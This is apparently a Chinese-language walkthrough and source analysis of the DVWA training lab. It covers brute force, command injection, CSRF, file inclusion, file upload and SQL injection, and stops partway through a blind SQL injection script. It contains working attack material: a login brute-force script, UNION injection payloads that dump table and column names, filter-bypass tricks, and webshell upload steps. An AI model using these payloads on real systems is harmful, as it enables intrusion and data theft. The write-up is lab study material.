DVWA靶场通关和源码分析

一、Brute Force

1.low

简单爆破脚本：

import requests

s = requests.session()

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0',
    'Cookie': 'PHPSESSID=02t5fg1bf27dpm9lk6il83b8k7; security=low'
}

f = open('password.txt', 'r',encoding='utf-8')
while 1:
    password=f.readline().rstrip()
    if not password or not password:
        break
    url = f'http://121.40.115.95/vulnerabilities/brute/?username=admin&password={password}&Login=Login#'
    resp = s.get(url, headers=headers)
    if 'Username and/or password incorrect.' not in resp.text:
        print(password)
        break

源码分析：

if( isset( $_GET[ 'Login' ] ) ) {
	// Get username
	$user = $_GET[ 'username' ];

	// Get password
	$pass = $_GET[ 'password' ];
	$pass = md5( $pass );

	// Check the database
	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

	if( $result && mysqli_num_rows( $result ) == 1 ) {
		// Get users details
		$row    = mysqli_fetch_assoc( $result );
		$avatar = $row["avatar"];

		// Login successful
		$html .= "
Welcome to the password protected area {$user}
";
		$html .= "{$avatar}\" />";
	}
	else {
		// Login failed
		$html .= "

Username and/or password incorrect.
";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

从GET请求中获取username和password，password用md5加密后直接放入数据库查询，有结果则将查询到的avatar字段数据提取出来，应该是对应某个图片名称，然后放出图片。

2、medium

源码：

if( isset( $_GET[ 'Login' ] ) ) {
	// Sanitise username input
	$user = $_GET[ 'username' ];
	$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitise password input
	$pass = $_GET[ 'password' ];
	$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass = md5( $pass );

	// Check the database
	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

	if( $result && mysqli_num_rows( $result ) == 1 ) {
		// Get users details
		$row    = mysqli_fetch_assoc( $result );
		$avatar = $row["avatar"];

		// Login successful
		$html .= "
Welcome to the password protected area {$user}
";
		$html .= "{$avatar}\" />";
	}
	else {
		// Login failed
		sleep( 2 );
		$html .= "

Username and/or password incorrect.
";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

仅仅只是在GET请求获取的username和password处增加了mysqli_real_escape_string(）的处理，转义sql语句中的字符，防止sql注入，对暴力破解依旧没有防备。

3、High

源码：

if( isset( $_GET[ 'Login' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Sanitise username input
	$user = $_GET[ 'username' ];
	$user = stripslashes( $user );
	$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitise password input
	$pass = $_GET[ 'password' ];
	$pass = stripslashes( $pass );
	$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass = md5( $pass );

	// Check database
	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

	if( $result && mysqli_num_rows( $result ) == 1 ) {
		// Get users details
		$row    = mysqli_fetch_assoc( $result );
		$avatar = $row["avatar"];

		// Login successful
		$html .= "
Welcome to the password protected area {$user}
";
		$html .= "{$avatar}\" />";
	}
	else {
		// Login failed
		sleep( rand( 0, 3 ) );
		$html .= "

Username and/or password incorrect.
";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();
?>

这里主要增加了checkToken()函数，用于判断token是否正确，在访问页面前，会先生成一个token然后返回到客户端并hidden起来，请求的时候会带上token，因此，可以使用burpsuite的宏正则进行爆破，因为token是提前预知的。

4、Impossible

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Sanitise username input
	$user = $_POST[ 'username' ];
	$user = stripslashes( $user );
	$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitise password input
	$pass = $_POST[ 'password' ];
	$pass = stripslashes( $pass );
	$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass = md5( $pass );

	// Default values
	$total_failed_login = 3;
	$lockout_time       = 15;
	$account_locked     = false;

	// Check the database (Check user information)
	$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
	$data->bindParam( ':user', $user, PDO::PARAM_STR );
	$data->execute();
	$row = $data->fetch();

	// Check to see if the user has been locked out.
	if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
		// User locked out.  Note, using this method would allow for user enumeration!
		//$html .= "

This account has been locked due to too many incorrect logins.
";

		// Calculate when the user would be allowed to login again
		$last_login = strtotime( $row[ 'last_login' ] );
		$timeout    = $last_login + ($lockout_time * 60);
		$timenow    = time();

		/*
		print "The last login was: " . date ("h:i:s", $last_login) . "
";
		print "The timenow is: " . date ("h:i:s", $timenow) . "
";
		print "The timeout is: " . date ("h:i:s", $timeout) . "
";
		*/

		// Check to see if enough time has passed, if it hasn't locked the account
		if( $timenow < $timeout ) {
			$account_locked = true;
			// print "The account is locked
";
		}
	}

	// Check the database (if username matches the password)
	$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
	$data->bindParam( ':user', $user, PDO::PARAM_STR);
	$data->bindParam( ':password', $pass, PDO::PARAM_STR );
	$data->execute();
	$row = $data->fetch();

	// If its a valid login...
	if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
		// Get users details
		$avatar       = $row[ 'avatar' ];
		$failed_login = $row[ 'failed_login' ];
		$last_login   = $row[ 'last_login' ];

		// Login successful
		$html .= "
Welcome to the password protected area {$user}
";
		$html .= "{$avatar}\" />";

		// Had the account been locked out since last login?
		if( $failed_login >= $total_failed_login ) {
			$html .= "
Warning: Someone might of been brute forcing your account.
";
			$html .= "
Number of login attempts: {$failed_login}.
Last login attempt was at: ${last_login}.
";
		}

		// Reset bad login count
		$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
		$data->bindParam( ':user', $user, PDO::PARAM_STR );
		$data->execute();
	} else {
		// Login failed
		sleep( rand( 2, 4 ) );

		// Give the user some feedback
		$html .= "

Username and/or password incorrect.

Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
";

		// Update bad login count
		$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
		$data->bindParam( ':user', $user, PDO::PARAM_STR );
		$data->execute();
	}

	// Set the last login time
	$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
	$data->bindParam( ':user', $user, PDO::PARAM_STR );
	$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Impossible级别主要是教如何防护，可以看到源代码中使用了prepare进行了PDO预编译来防止SQL注入，这样所有的数据都会被当成字符处理，同时对于暴力破解，用数据库中的fail_login和last_login字段，fail_login用于记录次数，last_login记录时间，一旦登录失败三次，将当前时间和最后登录时间对比，锁住十五秒。

二、Command Injection

1、Low

源码：

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = $_REQUEST[ 'ip' ];

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );
	}

	// Feedback for the end user
	$html .= "
{$cmd}
";
}

?>

先判断操作系统类别，然后使用shell_exec()函数执行target，类似函数还有exec()，passthru(),system()等，对target没进行任何限制，导致可以使用管道符拼接，多命令执行。

2、Medium

源码：

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = $_REQUEST[ 'ip' ];

	// Set blacklist
	$substitutions = array(
		'&&' => '',
		';'  => '',
	);

	// Remove any of the charactars in the array (blacklist).
	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );
	}

	// Feedback for the end user
	$html .= "
{$cmd}
";
}

?>

黑名单过滤了;和&&，但是拼接命令不只有这些，还有|等，区别在于，&&要前一条命令执行成功才执行下一条，||则是上一条命令执行失败。

3、High

源码：

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = trim($_REQUEST[ 'ip' ]);

	// Set blacklist
	$substitutions = array(
		'&'  => '',
		';'  => '',
		'| ' => '',
		'-'  => '',
		'$'  => '',
		'('  => '',
		')'  => '',
		'`'  => '',
		'||' => '',
	);

	// Remove any of the characters in the array (blacklist).
	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );
	}

	// Feedback for the end user
	$html .= "
{$cmd}
";
}

?>

又是黑名单，过滤了很多拼接字符，但是注意第三个|后面多了个空格，我们使用|| 就会导致| 先被匹配了，|| 就换变成| ，后面就匹配不成功了，依旧可以导致命令执行。

三、CSRF

1、Low

源码：

if( isset( $_GET[ 'Change' ] ) ) {
	// Get input
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update the database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

		// Feedback for the user
		$html .= "
Password Changed.
";
	}
	else {
		// Issue with passwords matching
		$html .= "
Passwords did not match.
";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

主要是更改密码的操作，但是源码中并没有做任何检测，因此，假如一个人开启了网站没有关闭，诱导点击链接，可以达到更改密码的效果。

2、Medium

源码：

if( isset( $_GET[ 'Change' ] ) ) {
	// Checks to see where the request came from
	if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
		// Get input
		$pass_new  = $_GET[ 'password_new' ];
		$pass_conf = $_GET[ 'password_conf' ];

		// Do the passwords match?
		if( $pass_new == $pass_conf ) {
			// They do!
			$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
			$pass_new = md5( $pass_new );

			// Update the database
			$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
			$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

			// Feedback for the user
			$html .= "
Password Changed.
";
		}
		else {
			// Issue with passwords matching
			$html .= "
Passwords did not match.
";
		}
	}
	else {
		// Didn't come from a trusted source
		$html .= "
That request didn't look correct.
";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

相比于Low，这里增加了一个if的判断，判断数据包中Referer的值是否出现主机名即IP地址

3、High

源码：

$change = false;
$request_type = "html";
$return_message = "Request Failed";

if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
	$data = json_decode(file_get_contents('php://input'), true);
	$request_type = "json";
	if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
		array_key_exists("password_new", $data) &&
		array_key_exists("password_conf", $data) &&
		array_key_exists("Change", $data)) {
		$token = $_SERVER['HTTP_USER_TOKEN'];
		$pass_new = $data["password_new"];
		$pass_conf = $data["password_conf"];
		$change = true;
	}
} else {
	if (array_key_exists("user_token", $_REQUEST) &&
		array_key_exists("password_new", $_REQUEST) &&
		array_key_exists("password_conf", $_REQUEST) &&
		array_key_exists("Change", $_REQUEST)) {
		$token = $_REQUEST["user_token"];
		$pass_new = $_REQUEST["password_new"];
		$pass_conf = $_REQUEST["password_conf"];
		$change = true;
	}
}

if ($change) {
	// Check Anti-CSRF token
	checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );

	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
		$pass_new = md5( $pass_new );

		// Update the database
		$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert );

		// Feedback for the user
		$return_message = "Password Changed.";
	}
	else {
		// Issue with passwords matching
		$return_message = "Passwords did not match.";
	}

	mysqli_close($GLOBALS["___mysqli_ston"]);

	if ($request_type == "json") {
		generateSessionToken();
		header ("Content-Type: application/json");
		print json_encode (array("Message" =>$return_message));
		exit;
	} else {
		$html .= "
" . $return_message . "
";
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

很明显，High增加了对token的判断，需要用户客户端的token才能进行修改，需要联合其它漏洞事先获取到用户的token。

4、Impossible

源码：

if( isset( $_GET[ 'Change' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$pass_curr = $_GET[ 'password_current' ];
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Sanitise current password input
	$pass_curr = stripslashes( $pass_curr );
	$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass_curr = md5( $pass_curr );

	// Check that the current password is correct
	$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
	$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
	$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
	$data->execute();

	// Do both new passwords match and does the current password match the user?
	if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
		// It does!
		$pass_new = stripslashes( $pass_new );
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update database with new password
		$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
		$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
		$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
		$data->execute();

		// Feedback for the user
		$html .= "
Password Changed.
";
	}
	else {
		// Issue with passwords matching
		$html .= "
Passwords did not match or current password incorrect.
";
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

源码中看到需要输入当前密码才能进行密码修改，如果当前密码不成功，则不进行数据库密码更改操作，因此不可能进行跨站请求伪造的行为。

四、File Inclusion

1、Low

源码：

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

2、Medium

源码：

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

?>

将…/，http://等置空，对本地包含绝对路径没有影响，如果要使用http远程包含，直接双写绕过。

3、High

源码：

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
	// This isn't the page we want!
	echo "ERROR: File not found!";
	exit;
}

?>

使用fnmatch()匹配file开头的字符串，伪协议file://即可

五、File Upload

1、Low

源码：

if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// Can we move the file to the upload folder?
	if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
		// No
		$html .= '
Your image was not uploaded.
';
	}
	else {
		// Yes!
		$html .= "
{$target_path} succesfully uploaded!
";
	}
}

?>

直接接收文件，并且保存到网站根目录下hackable/uploads目录下，直接传一句话木马即可。

2、Medium

源码：

if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// File information
	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
	$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

	// Is it an image?
	if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
		( $uploaded_size < 100000 ) ) {

		// Can we move the file to the upload folder?
		if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
			// No
			$html .= '
Your image was not uploaded.
';
		}
		else {
			// Yes!
			$html .= "
{$target_path} succesfully uploaded!
";
		}
	}
	else {
		// Invalid file
		$html .= '
Your image was not uploaded. We can only accept JPEG or PNG images.
';
	}
}

?>

只是对上传的type进行了检测，必须是jpeg或png，直接修改Content-Type即可。

3、High

然后将图片马上传，这样肯定是不够的，因为还得让图片被PHP代码解析，才能触发里面的一句话木马，可以利用文件包含漏洞，解析图片。

源码：

if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// File information
	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
	$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
	$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

	// Is it an image?
	if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
		( $uploaded_size < 100000 ) &&
		getimagesize( $uploaded_tmp ) ) {

		// Can we move the file to the upload folder?
		if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
			// No
			$html .= '
Your image was not uploaded.
';
		}
		else {
			// Yes!
			$html .= "
{$target_path} succesfully uploaded!
";
		}
	}
	else {
		// Invalid file
		$html .= '
Your image was not uploaded. We can only accept JPEG or PNG images.
';
	}
}

?>

通过截断符，截断文件名最后一个.前面的字符，同时使用getimagesize()获取图像信息，因此只能上传图片马。

4、Impossible

if( isset( $_POST[ 'Upload' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


	// File information
	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
	$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
	$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
	$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

	// Where are we going to be writing to?
	$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
	//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
	$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
	$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
	$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

	// Is it an image?
	if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
		( $uploaded_size < 100000 ) &&
		( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
		getimagesize( $uploaded_tmp ) ) {

		// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
		if( $uploaded_type == 'image/jpeg' ) {
			$img = imagecreatefromjpeg( $uploaded_tmp );
			imagejpeg( $img, $temp_file, 100);
		}
		else {
			$img = imagecreatefrompng( $uploaded_tmp );
			imagepng( $img, $temp_file, 9);
		}
		imagedestroy( $img );

		// Can we move the file to the web root from the temp folder?
		if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
			// Yes!
			$html .= "
${target_file} succesfully uploaded!
";
		}
		else {
			// No
			$html .= '
Your image was not uploaded.
';
		}

		// Delete any temp files
		if( file_exists( $temp_file ) )
			unlink( $temp_file );
	}
	else {
		// Invalid file
		$html .= '
Your image was not uploaded. We can only accept JPEG or PNG images.
';
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

在High的基础上以时间+拼接文件名进行md5加密的形式重命名文件，重点是通过imagecreatefromjpeg函数对图片的内容进行了重新处理，使得图片马中的马被去掉。

六、 SQL注入

1、Low

1' union select 1,database()# 爆数据库

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#  爆表

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# 爆字段

1' union select 1,group_concat(first_name) from dvwa.users# 爆某字段数据

源码：

if( isset( $_REQUEST[ 'Submit' ] ) ) {
	// Get input
	$id = $_REQUEST[ 'id' ];

	switch ($_DVWA['SQLI_DB']) {
		case MYSQL:
			// Check database
			$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
			$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

			// Get results
			while( $row = mysqli_fetch_assoc( $result ) ) {
				// Get values
				$first = $row["first_name"];
				$last  = $row["last_name"];

				// Feedback for end user
				$html .= "
ID: {$id}
First name: {$first}
Surname: {$last}
";
			}

			mysqli_close($GLOBALS["___mysqli_ston"]);
			break;

直接将输入的数据放进了数据库查询，当然也可以使用其它注入，都可以。

2、Medium

0 union select 1,database()

0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()  

0 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 

0 union select 1,group_concat(first_name) from dvwa.users 

源码：

if( isset( $_POST[ 'Submit' ] ) ) {
	// Get input
	$id = $_POST[ 'id' ];

	$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

	switch ($_DVWA['SQLI_DB']) {
		case MYSQL:
			$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
			$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '
' . mysqli_error($GLOBALS["___mysqli_ston"]) . '
' );

			// Get results
			while( $row = mysqli_fetch_assoc( $result ) ) {
				// Display values
				$first = $row["first_name"];
				$last  = $row["last_name"];

				// Feedback for end user
				$html .= "
ID: {$id}
First name: {$first}
Surname: {$last}
";
			}
			break;

虽然通过mysqli_real_escape_string()对单引号等特殊字符进行转移，但是这里用不着。

3、High

1' union select 1,database()# 爆数据库

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#  爆表

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# 爆字段

1' union select 1,group_concat(first_name) from dvwa.users# 爆某字段数据

4、Impossible

if( isset( $_GET[ 'Submit' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$id = $_GET[ 'id' ];

	// Was a number entered?
	if(is_numeric( $id )) {
		$id = intval ($id);
		switch ($_DVWA['SQLI_DB']) {
			case MYSQL:
				// Check the database
				$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
				$data->bindParam( ':id', $id, PDO::PARAM_INT );
				$data->execute();
				$row = $data->fetch();

				// Make sure only 1 result is returned
				if( $data->rowCount() == 1 ) {
					// Get values
					$first = $row[ 'first_name' ];
					$last  = $row[ 'last_name' ];

					// Feedback for end user
					$html .= "
ID: {$id}
First name: {$first}
Surname: {$last}
";
				}
				break;
			case SQLITE:
				global $sqlite_db_connection;

				$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
				$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
				$result = $stmt->execute();
				$result->finalize();
				if ($result !== false) {
					// There is no way to get the number of rows returned
					// This checks the number of columns (not rows) just
					// as a precaution, but it won't stop someone dumping
					// multiple rows and viewing them one at a time.

					$num_columns = $result->numColumns();
					if ($num_columns == 2) {
						$row = $result->fetchArray();

						// Get values
						$first = $row[ 'first_name' ];
						$last  = $row[ 'last_name' ];

						// Feedback for end user
						$html .= "
ID: {$id}
First name: {$first}
Surname: {$last}
";
					}
				}

				break;
		}
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

将id规定为数字，并且采用了预编译防止sql注入，使得注入语句成为参数，确实防止了sql注入。

七、SQL盲注

1、Low

import requests

s=requests.session()
url='http://121.199.77.45/vulnerabilities/sqli_blind/?id='
last='&Submit=Submit#'
headers={
    'Cookie':'PHPSESSID=bqjapbi0r6fs9aemuhkc2svn81; security=low',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0'
}
#proxy={'http':'http://127.0.0.1:8080'}
result=''
for times in range(1,88):
    max=128
    min=0
    mid=(max+min)//2
    while min<max:
        url = 'http://121.199.77.45/vulnerabilities/sqli_blind/?id='
        #payload=f"1'%20and%20if((ascii(substr((select%20database())%2c{times}%2c1))%3e{mid})%2c1%2c0)%23" 爆数据库
        #payload=f"1'+and+if(ascii(substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase())%2C{times}%2C1))>{mid}%2C1%2C0)%23" #爆表
